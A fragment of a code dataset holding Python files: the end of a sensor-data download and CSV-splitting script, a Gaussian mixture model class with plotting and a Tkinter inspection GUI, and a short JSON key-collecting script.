writeOrganizedCSV(nodeID,dates,organizedData,subFolder,keys)\n else:\n print(\"No data for\" + currentPath )\n\n\ndef splitAlldates2Nodes(nodeList,dateList,datesLocation,subFolder):\n for node in nodeList:\n for dates in dateList:\n nodeSplit(node,datesLocation,dates,subFolder)\n\ndef getListDictionaryFromPath(dirPath):\n\n print('Reading from :' + dirPath)\n reader = csv.DictReader(open(dirPath))\n reader = list(reader)\n\n\n for rows in reader:\n rows['sensor'] = rows['sensor']+'_'+rows['parameter']\n rows.pop('parameter')\n rows.pop('value_raw')\n rows.pop('node_id')\n rows.pop('subsystem')\n\n # keys.add('dateTime')\n reader = [v for v in reader if v['value_hrf'] != 'NA']\n reader = [v for v in reader if v['sensor'] != 'metsense_id']\n\n return reader;\n\n\n\ndef getOrganizedData(reader):\n organizedData = []\n currentRowsequence = {}\n for rows, nextRow in zip(reader, reader[1:]+[reader[0]]):\n # currentRowsequence[rows['sensor']] = rows['value_hrf']\n if(rows['sensor'] == 'opc_n2_bins'):\n binDataAll = rows['value_hrf']\n binData = binDataAll.split(',')\n currentRowsequence['opc_n2_bin0'] = binData[0]\n currentRowsequence['opc_n2_bin1'] = binData[1]\n currentRowsequence['opc_n2_bin2'] = binData[2]\n currentRowsequence['opc_n2_bin3'] = binData[3]\n currentRowsequence['opc_n2_bin4'] = binData[4]\n currentRowsequence['opc_n2_bin5'] = binData[5]\n currentRowsequence['opc_n2_bin6'] = binData[6]\n currentRowsequence['opc_n2_bin7'] = binData[7]\n currentRowsequence['opc_n2_bin8'] = binData[8]\n currentRowsequence['opc_n2_bin9'] = binData[9]\n currentRowsequence['opc_n2_bin10'] = binData[10]\n currentRowsequence['opc_n2_bin11'] = binData[11]\n currentRowsequence['opc_n2_bin12'] = binData[12]\n currentRowsequence['opc_n2_bin13'] = binData[13]\n currentRowsequence['opc_n2_bin14'] = binData[14]\n currentRowsequence['opc_n2_bin15'] = binData[15]\n else:\n currentRowsequence[rows['sensor']] = rows['value_hrf']\n\n\n if(rows['timestamp'] != nextRow['timestamp']):\n currentRowsequence['dateTime'] = rows['timestamp']\n organizedData.append(currentRowsequence)\n currentRowsequence = {}\n\n return organizedData\n\n\ndef writeOrganizedCSV(nodeID,dates,organizedData,subFolder,keys):\n [year,month,day] = getDateData(dates)\n writePath = subFolder +nodeID+'/'+year+'/'+month + '/'+ nodeID + '-'+ year+'-'+month+'-'+day+'-Organized.csv'\n directoryCheck(writePath)\n csvWriter(writePath,organizedData,keys)\n\n\ndef csvWriter(writePath,organizedData,keys):\n with open(writePath,'w') as output_file:\n writer = csv.DictWriter(output_file, fieldnames=keys)\n writer.writeheader()\n writer.writerows(organizedData)\n\ndef getPathforUglyNode(nodeID,dates,subFolder):\n [year,month,day] = getDateData(dates)\n currentPath = subFolder+nodeID+'/'+year+'/'+month + '/'+ nodeID + '-'+ year+'-'+month+'-'+day+'.csv'\n return currentPath\n\ndef nodeSplit(nodeID,datesDirectory,CurrentDate,subFolder):\n inputPath = datesDirectory + CurrentDate\n [reader,keys] = getListDictionary(inputPath,nodeID)\n if len(reader)>0:\n dateInfo = getDateData(CurrentDate)\n year = dateInfo[0]\n month = dateInfo[1]\n day = dateInfo[2]\n csvName = nodeID+'-'+year+'-'+month+'-'+day+'.csv'\n outputPath = subFolder+nodeID+'/'+year+'/'+month+'/'+csvName\n print(\"Writing CSV for Node: \"+nodeID + \" for \" + CurrentDate.split('.')[0])\n writeCSV(reader,keys,outputPath)\n else:\n print(\"No Data for Node: \"+nodeID + \" on \" + CurrentDate.split('.')[0])\n\n\ndef getDateData(currentCSV):\n nameOnly = currentCSV.split('.')\n dateInfo = nameOnly[0].split('-')\n return dateInfo\n\n\ndef getListDictionary(inputPath,nodeID):\n reader = csv.DictReader(open(inputPath))\n reader = list(reader)\n reader = [v for v in reader if v['node_id'] == nodeID]\n keys = ['timestamp','node_id','subsystem','sensor','parameter','value_raw','value_hrf']\n return reader,keys;\n\n\ndef directoryCheck(outputPath):\n directoryIn = os.path.dirname(outputPath)\n if not os.path.exists(directoryIn):\n os.makedirs(directoryIn)\n\ndef writeCSV(reader,keys,outputPath):\n directoryCheck(outputPath)\n csvWriter(outputPath,reader,keys)\n\n\ndef getYearMonthUnique(dateList):\n years = set()\n months = set()\n for currentCSV in dateList:\n dateData = getDateData(currentCSV)\n years.add(dateData[0])\n months.add(dateData[1])\n return list(years),list(months);\n\n\ndef downloadFile(url,localLocation):\n directoryCheck(localLocation)\n urllib.request.urlretrieve(url,localLocation)\n\n\ndef unzipper(localLocation):\n tar = tarfile.open(localLocation, \"r:\")\n tar.extractall(os.path.dirname(localLocation))\n tar.close()\n\ndef getLastDaysData(dataToolsPath,localLocation):\n sliceToolPath=dataToolsPath + 'slice-date-range/split-into-dates.py'\n destinationName = os.path.dirname(localLocation)+'/GASP.complete'\n os.system('python3 ' +sliceToolPath +' '+destinationName )\n csvLocation= destinationName+'/dates/'\n fileDeleter(csvLocation,'.csv')\n csvList = getLocationList(csvLocation, suffix=\".csv.gz\")\n for locations in csvList:\n pathName = csvLocation+locations\n os.system('gzip -d --keep '+pathName)\n return getLocationList(csvLocation)\n\n\ndef getLocationList(directory, suffix=\".csv\"):\n filenames = listdir(directory)\n dateList = [ filename for filename in filenames if filename.endswith( suffix ) ]\n return sorted(dateList)\n\n\ndef fileDeleter(fileDirectory,fileExtension):\n files = os.listdir(fileDirectory)\n for item in files:\n if item.endswith(fileExtension):\n os.remove(os.path.join(fileDirectory, item))\n\n\ndef timeTaken(message,start):\n print(message+str(time.time()-start)+' Seconds')\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"completeDownload/completeDownload.py","file_name":"completeDownload.py","file_ext":"py","file_size_in_byte":10754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"245803316","text":"'''\nCreated on Feb 16, 2016\n\n@author: Juan Manuel Acevedo Valle\n'''\nfrom sklearn import mixture as mix\nimport itertools\nimport numpy as np\nfrom scipy import linalg \nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport pandas as pd\n\nimport Tkinter as tk\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\n\nclass GMM(object):\n '''\n classdocs\n '''\n\n def __init__(self, n_components):\n self.type='GMM'\n GMMtmp=mix.GMM(n_components=n_components,\n covariance_type='full',\n random_state=None,\n # thresh=None,\n tol = 0.001,\n min_covar=0.0001, \n n_iter=100, \n n_init=1, \n params='wmc', \n init_params='wmc')\n self.model=GMMtmp;\n self.initialized=False\n\n def train(self,data):\n self.model.fit(data)\n if self.model.converged_:\n self.initialized=True\n else:\n print('The EM-algorithm did not converged...')\n \n def train_bestGMM(self,data):\n self.model.fit(data)\n if self.model.converged_:\n self.initialized=True\n else:\n print('The EM-algorithm did not converged...')\n \n def get_best_gmm(self, data, lims=[1, 10]):\n lowest_bic = np.infty\n bic = []\n aic= []\n # minim = False\n # minim_flag = 2\n \n n_components_range = range(lims[0],lims[1]+1,1)\n for n_components in n_components_range:\n # Fit a mixture of Gaussians with EM, beware for cazes when te model is not found in any case\n gmm = mix.GMM(n_components=n_components,\n covariance_type='full',\n random_state=None,\n # thresh=None,\n tol = 0.001,\n min_covar=0.0001, \n n_iter=100, \n n_init=1, \n params='wmc', \n init_params='wmc')\n gmm.fit(data)\n bic.append(gmm.bic(data))\n aic.append(gmm.aic(data))\n \n if bic[-1] < lowest_bic:\n lowest_bic = bic[-1]\n best_gmm = n_components\n try: \n if (bic[-1] > bic[-2] > bic[-3] and\n bic[-3] < bic[-4] < bic[-5]):\n best_gmm = n_components - 2\n break \n \n except IndexError:\n pass\n if best_gmm <= 6:\n best_gmm = np.array(bic).argmin() + lims[0]\n \n \n \n gmm = mix.GMM(n_components=best_gmm,\n covariance_type='full',\n random_state=None,\n # thresh=None,\n tol = 0.001,\n min_covar=0.0001, \n n_iter=100, \n n_init=1, \n params='wmc', \n init_params='wmc')\n gmm.fit(data) \n \n self.model.weights_ = gmm.weights_\n self.model.covars_ = gmm._get_covars()\n self.model.means_ = gmm.means_\n self.model.n_components = gmm.n_components\n \n def return_copy(self):\n '''If any trouble be sure that assignation of \n means and weights is done copying through assignation \n '''\n copy_tmp = GMM(n_components=self.model.n_components)\n \n copy_tmp.model.covars_ = self.model._get_covars()\n copy_tmp.model.means_ = self.model.means_\n copy_tmp.model.weights_ = self.model.weights_\n \n return copy_tmp\n \n def train_incremental(self, new_data, alpha):\n if self.initialized:\n self.model.init_params=''\n n_new_samples = np.size(new_data,0)\n n_persistent_samples = np.round(((1-alpha)*n_new_samples)/alpha)\n persistent_data = self.model.sample(n_persistent_samples)\n data = np.concatenate((persistent_data,new_data),axis=0)\n self.model.fit(data)\n if self.model.converged_==False:\n print('The EM-algorith did not converged...')\n else:\n self.train(new_data)\n \n \n def get_bic(self, data):\n return self.model.bic(data) \n \n def predict(self, x_dims, y_dims, y, knn = 5):\n \"\"\"\n This method returns the value of x that maximaze the probability P(x|y) using \n the knn gaussians which means are closer to y\n \"\"\"\n y_tmp = np.array(y)\n dist = []\n for mu in self.model.means_:\n dist += [linalg.norm(y_tmp - mu[y_dims])]\n dist = np.array(dist).flatten()\n voters_idx = dist.argsort()[:knn]\n\n gmm = self.model\n Mu_tmp = gmm.means_[voters_idx]\n Sigma_tmp = gmm._get_covars()[voters_idx]\n\n y = np.mat(y)\n n_dimensions = np.amax(len(x_dims)) + np.amax(len(y_dims))\n # gmm = self.model\n likely_x = np.mat(np.zeros((len(x_dims), knn)))\n sm = np.mat(np.zeros((len(x_dims) + len(y_dims), knn)))\n p_xy = np.mat(np.zeros((knn, 1)))\n\n for k, (Mu, Sigma) in enumerate(zip(Mu_tmp, Sigma_tmp)):\n Mu = np.transpose(Mu)\n\n Sigma_yy = Sigma[:, y_dims]\n Sigma_yy = Sigma_yy[y_dims, :]\n\n Sigma_xy = Sigma[x_dims, :]\n Sigma_xy = Sigma_xy[:, y_dims]\n\n tmp1 = linalg.inv(Sigma_yy) * np.transpose(y - Mu[y_dims])\n tmp2 = np.transpose(Sigma_xy * tmp1)\n likely_x[:, k] = np.transpose(Mu[x_dims] + tmp2)\n\n sm[x_dims, k] = likely_x[:, k].flatten()\n sm[y_dims, k] = y.flatten()\n\n tmp4 = 1 / (np.sqrt(((2.0 * np.pi) ** n_dimensions) * np.abs(linalg.det(Sigma))))\n tmp5 = np.transpose(sm[:, k]) - (Mu)\n tmp6 = linalg.inv(Sigma)\n tmp7 = np.exp((-1.0 / 2.0) * (tmp5 * tmp6 * np.transpose(tmp5))) # Multiply time GMM.Priors????\n p_xy[k, :] = np.reshape(tmp4 * tmp7, (1))\n # - print('Warning: Priors are not be considering to compute P(x,y)')\n\n k_ok = np.argmax(p_xy)\n x = likely_x[:, k_ok]\n\n return np.array(x.transpose())[0]\n \n def predict_weighted(self, x_dims, y_dims, y): #Write this function\n return self.predict(x_dims, y_dims, y)\n pass\n \n def plot_gmm_projection(self, column1, column2, axes = None):\n '''\n Display Gaussian distributions with a 95% interval of confidence\n '''\n # Number of samples per component\n gmm=self.model\n color_iter = itertools.cycle(['r', 'g', 'b', 'c', 'm'])\n \n title='GMM'\n\n if axes is None:\n f, axes = plt.subplots(1,1)\n\n plt.sca(axes)\n \n for i,(mean, covar, color) in enumerate(zip(gmm.means_, gmm._get_covars(), color_iter)):\n covar_plt=np.zeros((2,2))\n \n covar_plt[0,0] = covar[column1,column1]\n covar_plt[1,1] = covar[column2,column2]\n covar_plt[0,1] = covar[column1,column2]\n covar_plt[1,0] = covar[column2,column1]\n \n mean_plt = [mean[column1], mean[column2]]\n \n v, w = linalg.eigh(covar_plt)\n u = w[0] / linalg.norm(w[0])\n v[0] = 2.0*np.sqrt(2.0*v[0]);\n v[1] = 2.0*np.sqrt(2.0*v[1]);\n \n # Plot an ellipse to show the Gaussian component\n angle = np.arctan(u[1] / u[0])\n angle = 180 * angle / np.pi # convert to degrees\n ell = mpl.patches.Ellipse(mean_plt, v[0], v[1], 180 + angle, color=color)\n ell.set_alpha(0.5)\n \n axes.add_patch(ell)\n axes.autoscale_view()\n\n if axes.get_title() == '':\n axes.set_title(title)\n return axes\n \n def plot_k_gmm_projection(self, k, column1, column2, axes=None):\n '''\n Display Gaussian distributions with a 95% interval of confidence\n '''\n # Number of samples per component\n gmm=self.model\n \n k = np.int(k)\n if axes is None:\n f, axes = plt.subplots(1,1)\n plt.sca(axes) \n covar_plt=np.zeros((2,2))\n \n covar = gmm._get_covars()[k]\n covar_plt[0,0] = covar[column1,column1]\n covar_plt[1,1] = covar[column2,column2]\n covar_plt[0,1] = covar[column1,column2]\n covar_plt[1,0] = covar[column2,column1]\n \n mean_plt = [gmm.means_[k][column1], gmm.means_[k][column2]]\n \n\n v, w = linalg.eigh(covar_plt)\n u = w[0] / linalg.norm(w[0])\n v[0] = 2.0*np.sqrt(2.0*v[0]);\n v[1] = 2.0*np.sqrt(2.0*v[1]);\n\n # Plot an ellipse to show the Gaussian component\n angle = np.arctan(u[1] / u[0])\n angle = 180 * angle / np.pi # convert to degrees\n ell = mpl.patches.Ellipse(mean_plt, v[0], v[1], 180 + angle, color='r')\n ell.set_alpha(0.5)\n axes.add_patch(ell)\n axes.autoscale_view()\n \n return axes\n \n def plot_gmm_3d_projection(self, column1, column2, column3, axes = None):\n '''\n Display Gaussian distributions with a 95% interval of confidence\n '''\n # Number of samples per component\n gmm=self.model\n color_iter = itertools.cycle(['r', 'g', 'b', 'c', 'm'])\n \n title='GMM'\n\n if axes is None:\n f, axes = plt.subplots(1,1)\n plt.sca(axes) \n \n for i,(mean, covar, color) in enumerate(zip(gmm.means_, gmm._get_covars(), color_iter)):\n covar_plt=np.zeros((3,3))\n \n covar_plt[0,0] = covar[column1,column1]\n covar_plt[0,1] = covar[column1,column2]\n covar_plt[0,2] = covar[column1,column3]\n covar_plt[1,0] = covar[column2,column1]\n covar_plt[1,1] = covar[column2,column2]\n covar_plt[1,2] = covar[column2,column3]\n covar_plt[2,0] = covar[column3,column1]\n covar_plt[2,1] = covar[column3,column2]\n covar_plt[2,2] = covar[column3,column3]\n \n \n center = [mean[column1], mean[column2], mean[column3]]\n \n U, s, rotation = linalg.svd(covar_plt)\n radii = 1 / np.sqrt(s)\n \n # now carry on with EOL's answer\n u = np.linspace(0.0, 2.0 * np.pi, 100)\n v = np.linspace(0.0, np.pi, 100)\n x = radii[0] * np.outer(np.cos(u), np.sin(v))\n y = radii[1] * np.outer(np.sin(u), np.sin(v))\n z = radii[2] * np.outer(np.ones_like(u), np.cos(v))\n for j in range(len(x)):\n for k in range(len(x)):\n [x[j,k],y[j,k],z[j,k]] = np.dot([x[j,k],y[j,k],z[j,k]], rotation) + center\n \n axes.plot_wireframe(x, y, z, rstride=4, cstride=4, color='b', alpha=0.2)\n \n axes.set_xlabel('x')\n axes.set_ylabel('y')\n axes.set_zlabel('z')\n\n if axes.get_title()=='':\n axes.set_title(title)\n return axes\n \n def plot_callback(self):\n n_plots = np.int(self.n_proj_str.get())\n self.plots_fig.clf()\n \n subplot_dim_x = self.proj_arrays[self.n_proj_str.get()][0]\n subplot_dim_y = self.proj_arrays[self.n_proj_str.get()][1]\n \n current_gauss = self.current_gauss_str.get()\n \n self.plots_ax = []\n for i in range(n_plots): \n dim_x = self.proj_dim[i,0]\n dim_y = self.proj_dim[i,1]\n \n self.plots_ax.append(self.plots_fig.add_subplot(subplot_dim_x,subplot_dim_y, i + 1))\n self.plots_ax[i] = self.plot_k_gmm_projection(self.plots_fig,\n self.plots_ax[i],\n current_gauss,\n dim_x, dim_y)\n self.plots_ax[i].set_xlim(self.dim_lims[self.proj_dim[i,0], 0],\n self.dim_lims[self.proj_dim[i,0], 1])\n self.plots_ax[i].set_ylim(self.dim_lims[self.proj_dim[i,1], 0],\n self.dim_lims[self.proj_dim[i,1], 1])\n self.plots_ax[i].hold(True)\n \n if self.data != None:\n indices = np.array(self.data_indices).astype(int)\n plt.plot(self.data[indices, dim_x],self.data[indices, dim_y], 'o')\n \n \n self.plots_canvas.draw()\n\n ####################################################################################\n \"\"\" Interactive Visualization of GMM\"\"\"\n ###################################################################################\n\n def plot_array_callback(self):\n n_proj_old = self.n_proj\n n_proj_tmp = self.n_proj_str.get()\n self.n_proj = np.int(n_proj_tmp)\n \n if self.n_proj > 1:\n self.n_edit_proj_m.config(state=tk.NORMAL)\n else:\n self.n_edit_proj_m.config(state=tk.DISABLED)\n \n if self.n_proj < n_proj_old:\n pass\n else:\n pass\n \n self.plot_callback()\n \n def current_gauss_callback(self):\n self.current_gauss = np.int(self.current_gauss_str.get())\n if self.current_gauss == 0:\n self.prev_gauss_btn.config(state = tk.DISABLED)\n else: \n self.prev_gauss_btn.config(state = tk.NORMAL)\n \n if self.current_gauss >= self.model.n_components - 1:\n self.next_gauss_btn.config(state = tk.DISABLED)\n else:\n self.next_gauss_btn.config(state = tk.NORMAL)\n \n self.plot_callback()\n \n def prev_gauss_callback(self):\n self.current_gauss = self.current_gauss - 1\n self.current_gauss_str.set(str(self.current_gauss))\n\n \n def next_gauss_callback(self): \n self.current_gauss = self.current_gauss + 1\n self.current_gauss_str.set(str(self.current_gauss))\n\n def current_projection_callback(self):\n if np.int(self.n_edit_proj_str.get()) > self.n_proj -1:\n self.n_edit_proj_str.set(str(self.n_proj))\n self.n_edit_proj = np.int(self.n_edit_proj_str.get())\n self.edit_proj_dim1_str.set(str(self.proj_dim[self.n_edit_proj-1,0]))\n self.edit_proj_dim2_str.set(str(self.proj_dim[self.n_edit_proj-1,1]))\n \n def current_dim1_callback(self):\n self.proj_dim[self.n_edit_proj-1,0]=np.int(self.edit_proj_dim1_str.get())\n self.dim1_min_str.set(str(self.dim_lims[self.proj_dim[self.n_edit_proj-1,0], 0])) \n self.dim1_max_str.set(str(self.dim_lims[self.proj_dim[self.n_edit_proj-1,0], 1]))\n self.plot_callback()\n \n def current_dim2_callback(self):\n self.proj_dim[self.n_edit_proj-1,1]=np.int(self.edit_proj_dim2_str.get())\n self.dim2_min_str.set(str(self.dim_lims[self.proj_dim[self.n_edit_proj-1,1], 0]))\n self.dim2_max_str.set(str(self.dim_lims[self.proj_dim[self.n_edit_proj-1,1], 1]))\n self.plot_callback()\n\n def dim1_min_callback(self):\n self.dim_lims[self.proj_dim[self.n_edit_proj-1,0], 0] = np.float(self.dim1_min_str.get())\n self.plot_callback()\n \n def dim1_max_callback(self):\n self.dim_lims[self.proj_dim[self.n_edit_proj-1,0], 1] = np.float(self.dim1_max_str.get())\n self.plot_callback()\n \n def dim2_min_callback(self):\n self.dim_lims[self.proj_dim[self.n_edit_proj-1,1], 0] = np.float(self.dim2_min_str.get())\n self.plot_callback()\n \n def dim2_max_callback(self):\n self.dim_lims[self.proj_dim[self.n_edit_proj-1,1], 1] = np.float(self.dim2_max_str.get())\n self.plot_callback()\n \n def data_indices_callback(self):\n try:\n indices_str = self.data_indices_str.get()\n indices_comma = indices_str.split(',')\n self.data_indices = []\n for i in range(len(indices_comma)):\n if '-' in indices_comma[i]:\n indices_hyphen = indices_comma[i].split('-')\n self.data_indices = np.append(self.data_indices, np.array(\n range(np.int(indices_hyphen[0]),\n np.int(indices_hyphen[1])+1)))\n else:\n self.data_indices = np.append(self.data_indices, np.int(indices_comma[i]))\n except:\n pass\n pass \n \n def interactiveModel(self, data = None):\n if self.initialized:\n self.data = data\n \n self.n_dims = self.model._get_covars()[0].shape[0]\n ### Main window container\n self.root_window = tk.Tk()\n self.root_window.geometry(\"800x800\")\n self.root_window.title(\"Interactive Analysis of GMM\")\n \n self.root_frame = tk.Frame(self.root_window, width=800, height=800, bg=\"green\")\n self.root_frame.pack(side=tk.TOP, fill=tk.BOTH, expand=1)\n \n self.guiPlotsPanel()\n self.guiControlPanel()\n\n self.plot_callback()\n # self.guiMotorPanel_reset_callback()\n self.root_window.mainloop()\n else:\n print(\"Interactive mode only can be used when the model has been initialized\") \n \n def guiPlotsPanel(self):\n self.plots_frame = tk.Frame(self.root_frame, width=800, height=580, bg=\"white\")\n self.plots_frame.pack(side=tk.TOP, fill=tk.X, expand=1)\n self.plots_container_frame = tk.Frame(self.plots_frame, width=800, height=580, bg=\"black\")\n self.plots_container_frame.pack(side=tk.LEFT, fill=tk.NONE, expand=0)\n \n self.plots_fig = plt.figure()\n self.plots_fig.set_dpi(100)\n self.plots_fig.set_figheight(5.8)\n self.plots_fig.set_figwidth(8)\n\n self.plots_fig.patch.set_facecolor('red')\n self.plots_canvas = FigureCanvasTkAgg(self.plots_fig, master=self.plots_container_frame) \n self.plots_canvas.show()\n self.plots_canvas.get_tk_widget().pack(side=\"left\",fill=\"none\", expand=False)\n self.plots_canvas.get_tk_widget().configure(background='white', highlightcolor='white', highlightbackground='white')\n \n self.plots_ax = self.plots_fig.add_subplot(111)\n self.plots_ax.spines['right'].set_visible(False)\n self.plots_ax.spines['top'].set_visible(False)\n self.plots_ax.spines['left'].set_visible(False)\n self.plots_ax.spines['bottom'].set_visible(False)\n self.plots_ax.xaxis.set_ticks_position('none')\n self.plots_ax.yaxis.set_ticks_position('none')\n self.plots_ax.xaxis.set_ticks([])\n self.plots_ax.yaxis.set_ticks([])\n \n self.plots_canvas.draw()\n \n def guiControlPanel(self):\n self.control_frame = tk.Frame(self.root_frame, width=800, height=220, bg=\"white\")\n self.control_frame.pack(side=tk.TOP, fill=tk.BOTH, expand=1)\n \n self.control_entries_frame = tk.Frame(self.control_frame, width=800, height=220, bg=\"white\") \n self.control_entries_frame.pack(side=tk.LEFT, fill=tk.BOTH, expand=1)\n \n #SELECT NUMBER OF PROJECTIONS\n self.n_proj_lbl = tk.Label(self.control_entries_frame, text=\"Number of projections:\")\n self.n_proj_lbl.grid(row=0, padx=5, pady=2)\n self.n_proj_str = tk.StringVar()\n self.n_proj_str.set(\"1\") \n self.n_proj_str.trace(\"w\", lambda name, index, mode, sv=self.n_proj_str: self.plot_array_callback())\n\n \n self.n_proj = 1 \n \n self.n_proj_m = tk.OptionMenu(self.control_entries_frame, self.n_proj_str, \"1\",\"2\",\"3\",\"4\",\"6\",\"8\",\"9\")\n self.proj_arrays={'1':[1,1], '2':[1,2], '3':[1,3], '4':[2,2], '6':[2,3], '8':[2,4], '9':[3,3]}\n \n self.n_proj_m.grid(row=0, column =1, columnspan=2, padx=5, pady=2)\n \n #SELECT NUMBER OF PROJECTION TO BE EDITED\n self.n_edit_proj_lbl = tk.Label(self.control_entries_frame, text=\"Projection to edit:\")\n self.n_edit_proj_lbl.grid(row=3, column=0, padx=5, pady=2)\n self.n_edit_proj_str = tk.StringVar()\n self.n_edit_proj_str.set(\"1\")\n posible_projectios = [\"1\",\"2\", \"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\n self.n_edit_proj_m = tk.OptionMenu(self.control_entries_frame, self.n_edit_proj_str, *posible_projectios)\n self.n_edit_proj_str.trace(\"w\", lambda name, index, mode, sv=self.n_edit_proj_str: self.current_projection_callback())\n\n \n self.n_edit_proj_m.config(state=tk.DISABLED)\n self.n_edit_proj_m.grid(row=3, column=1, columnspan=2, padx=5, pady=2)\n self.n_edit_proj = np.int(self.n_edit_proj_str.get())\n \n #SELECT DIMENSIONS\n\n self.edit_proj_dim1_str = tk.StringVar()\n self.edit_proj_dim2_str = tk.StringVar()\n\n if self.n_dims <= 1:\n self.edit_proj_dim1_str.set(\"0\")\n self.edit_proj_dim2_str.set(\"0\")\n self.proj_dim=np.reshape(np.array([0, 0] * 9), (9,2))\n else:\n self.edit_proj_dim1_str.set(\"0\")\n self.edit_proj_dim2_str.set(\"1\")\n self.proj_dim=np.reshape(np.array([0, 1] * 9), (9,2))\n \n \n self.edit_proj_dim1_str.trace(\"w\", lambda name, index, mode, sv=self.edit_proj_dim1_str: self.current_dim1_callback())\n self.edit_proj_dim2_str.trace(\"w\", lambda name, index, mode, sv=self.edit_proj_dim2_str: self.current_dim2_callback()) \n \n self.edit_proj_dim1_lbl = tk.Label(self.control_entries_frame, text=\"Dimension 1:\")\n self.edit_proj_dim1_lbl.grid(row=5, column=0, padx=5, pady=2)\n posible_dimensions = range(self.n_dims)\n \n self.edit_proj_dim1_m = tk.OptionMenu(self.control_entries_frame, self.edit_proj_dim1_str, *posible_dimensions)#, command = self.current_dim1_callback())\n self.edit_proj_dim1_m.config(state=tk.NORMAL)\n self.edit_proj_dim1_m.grid(row=5, column=1, columnspan=2, padx=5, pady=2)\n self.edit_proj_dim2_lbl = tk.Label(self.control_entries_frame, text=\"Dimension 2:\")\n self.edit_proj_dim2_lbl.grid(row=6, column=0, padx=5, pady=2)\n\n self.edit_proj_dim2_m = tk.OptionMenu(self.control_entries_frame, self.edit_proj_dim2_str, *posible_dimensions)#, command = self.current_dim2_callback())\n self.edit_proj_dim2_m.config(state=tk.NORMAL)\n self.edit_proj_dim2_m.grid(row=6, column=1, columnspan=2, padx=5, pady=2)\n \n #Current Gaussian and sweeping \n self.prev_gauss_btn = tk.Button(self.control_entries_frame, state=tk.DISABLED, text=\"<<\", command = self.prev_gauss_callback)\n self.prev_gauss_btn.grid(row=0, column=3, padx=5, pady=2)\n self.current_gauss_str = tk.StringVar()\n self.current_gauss_str.set(\"0\")\n self.entry_gauss = tk.Entry(self.control_entries_frame, state=tk.DISABLED, \n textvariable=self.current_gauss_str, width=4)\n self.entry_gauss.grid(row=0, column=4, padx=5, pady=2)\n self.current_gauss_str.trace(\"w\", lambda name, index, mode, sv=self.current_gauss_str: self.current_gauss_callback())\n self.current_gauss = 0\n self.next_gauss_btn = tk.Button(self.control_entries_frame, state=tk.DISABLED, text=\">>\", command = self.next_gauss_callback)\n self.next_gauss_btn.grid(row=0, column=5, padx=5, pady=2)\n \n self.dim1_lim_lbl = tk.Label(self.control_entries_frame, text=\"Limits:\")\n self.dim2_lim_lbl = tk.Label(self.control_entries_frame, text=\"Limits:\")\n \n self.dim1_min_str = tk.StringVar()\n self.dim1_max_str = tk.StringVar()\n self.dim2_min_str = tk.StringVar()\n self.dim2_max_str = tk.StringVar()\n \n self.dim_lims=np.reshape(np.array([-1.0, 1.0] * self.n_dims), (self.n_dims,2))\n \n self.dim1_min_str.set(str(self.dim_lims[self.proj_dim[self.n_edit_proj-1,0], 0])) \n self.dim1_max_str.set(str(self.dim_lims[self.proj_dim[self.n_edit_proj-1,0], 1]))\n self.dim2_min_str.set(str(self.dim_lims[self.proj_dim[self.n_edit_proj-1,1], 0]))\n self.dim2_max_str.set(str(self.dim_lims[self.proj_dim[self.n_edit_proj-1,1], 1]))\n \n self.entry_dim1_min = tk.Entry(self.control_entries_frame, state=tk.NORMAL, \n textvariable=self.dim1_min_str, width=4)\n self.entry_dim1_max = tk.Entry(self.control_entries_frame, state=tk.NORMAL, \n textvariable=self.dim1_max_str, width=4)\n self.entry_dim2_min = tk.Entry(self.control_entries_frame, state=tk.NORMAL, \n textvariable=self.dim2_min_str, width=4)\n self.entry_dim2_max = tk.Entry(self.control_entries_frame, state=tk.NORMAL, \n textvariable=self.dim2_max_str, width=4)\n \n \n self.dim1_min_str.trace(\"w\", lambda name, index, mode, sv=self.dim1_min_str: self.dim1_min_callback())\n self.dim1_max_str.trace(\"w\", lambda name, index, mode, sv=self.dim1_max_str: self.dim1_max_callback())\n self.dim2_min_str.trace(\"w\", lambda name, index, mode, sv=self.dim2_min_str: self.dim2_min_callback())\n self.dim2_max_str.trace(\"w\", lambda name, index, mode, sv=self.dim2_max_str: self.dim2_max_callback())\n \n \n \n self.dim1_lim_lbl.grid(row=5, column=3, padx=5, pady=2)\n self.dim2_lim_lbl.grid(row=6, column=3, padx=5, pady=2)\n self.dim1_lim_lbl.grid(row=5, column=3, padx=5, pady=2)\n self.dim2_lim_lbl.grid(row=6, column=3, padx=5, pady=2)\n self.entry_dim1_min.grid(row=5, column=4, padx=5, pady=2)\n self.entry_dim1_max.grid(row=5, column=5, padx=5, pady=2)\n self.entry_dim2_min.grid(row=6, column=4, padx=5, pady=2)\n self.entry_dim2_max.grid(row=6, column=5, padx=5, pady=2)\n\n if self.model.n_components > 1:\n self.next_gauss_btn.config(state=tk.NORMAL)\n self.entry_gauss.config(state=tk.NORMAL) \n \n self.data_indices = [0]\n self.data_indices_lbl = tk.Label(self.control_entries_frame, text=\"Data indices:\")\n self.data_indices_str = tk.StringVar()\n self.data_indices_str.set(str(self.data_indices[0])) \n self.data_indices_str.trace(\"w\", lambda name, index, mode, sv=self.data_indices_str: self.data_indices_callback())\n self.entry_data_indices = tk.Entry(self.control_entries_frame, state=tk.DISABLED, \n textvariable=self.data_indices_str, width=8)\n self.data_indices_lbl.grid(row=0, column=7, padx=5, pady=2)\n self.entry_data_indices.grid(row=0, column=8, padx=5, pady=2)\n \n if self.data != None:\n self.entry_data_indices.config(state=tk.NORMAL)\n self.entry_data_indices.bind(\"\", self.plot_return_callback)\n \n def plot_return_callback(self, event):\n self.plot_callback()\n ","sub_path":"exploration/models/GeneralModels/Mixture.py","file_name":"Mixture.py","file_ext":"py","file_size_in_byte":27465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"13769711","text":"import json\r\nimport os\r\njson_dict = json.load(open('data10.json','r'))\r\n\r\n\r\nuniq_keys = []\r\nfor _dict in json_dict['results']:\r\n keys = _dict.keys()\r\n fin_keys_set = set(uniq_keys).union(set(keys))\r\n uniq_keys = list(fin_keys_set)\r\n\r\nprint(uniq_keys)\r\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"383268382","text":"train_folder = \"datasets/train-articles\" # check that the path to the datasets folder is correct, \ndev_folder = \"datasets/dev-articles\" # if not adjust these variables 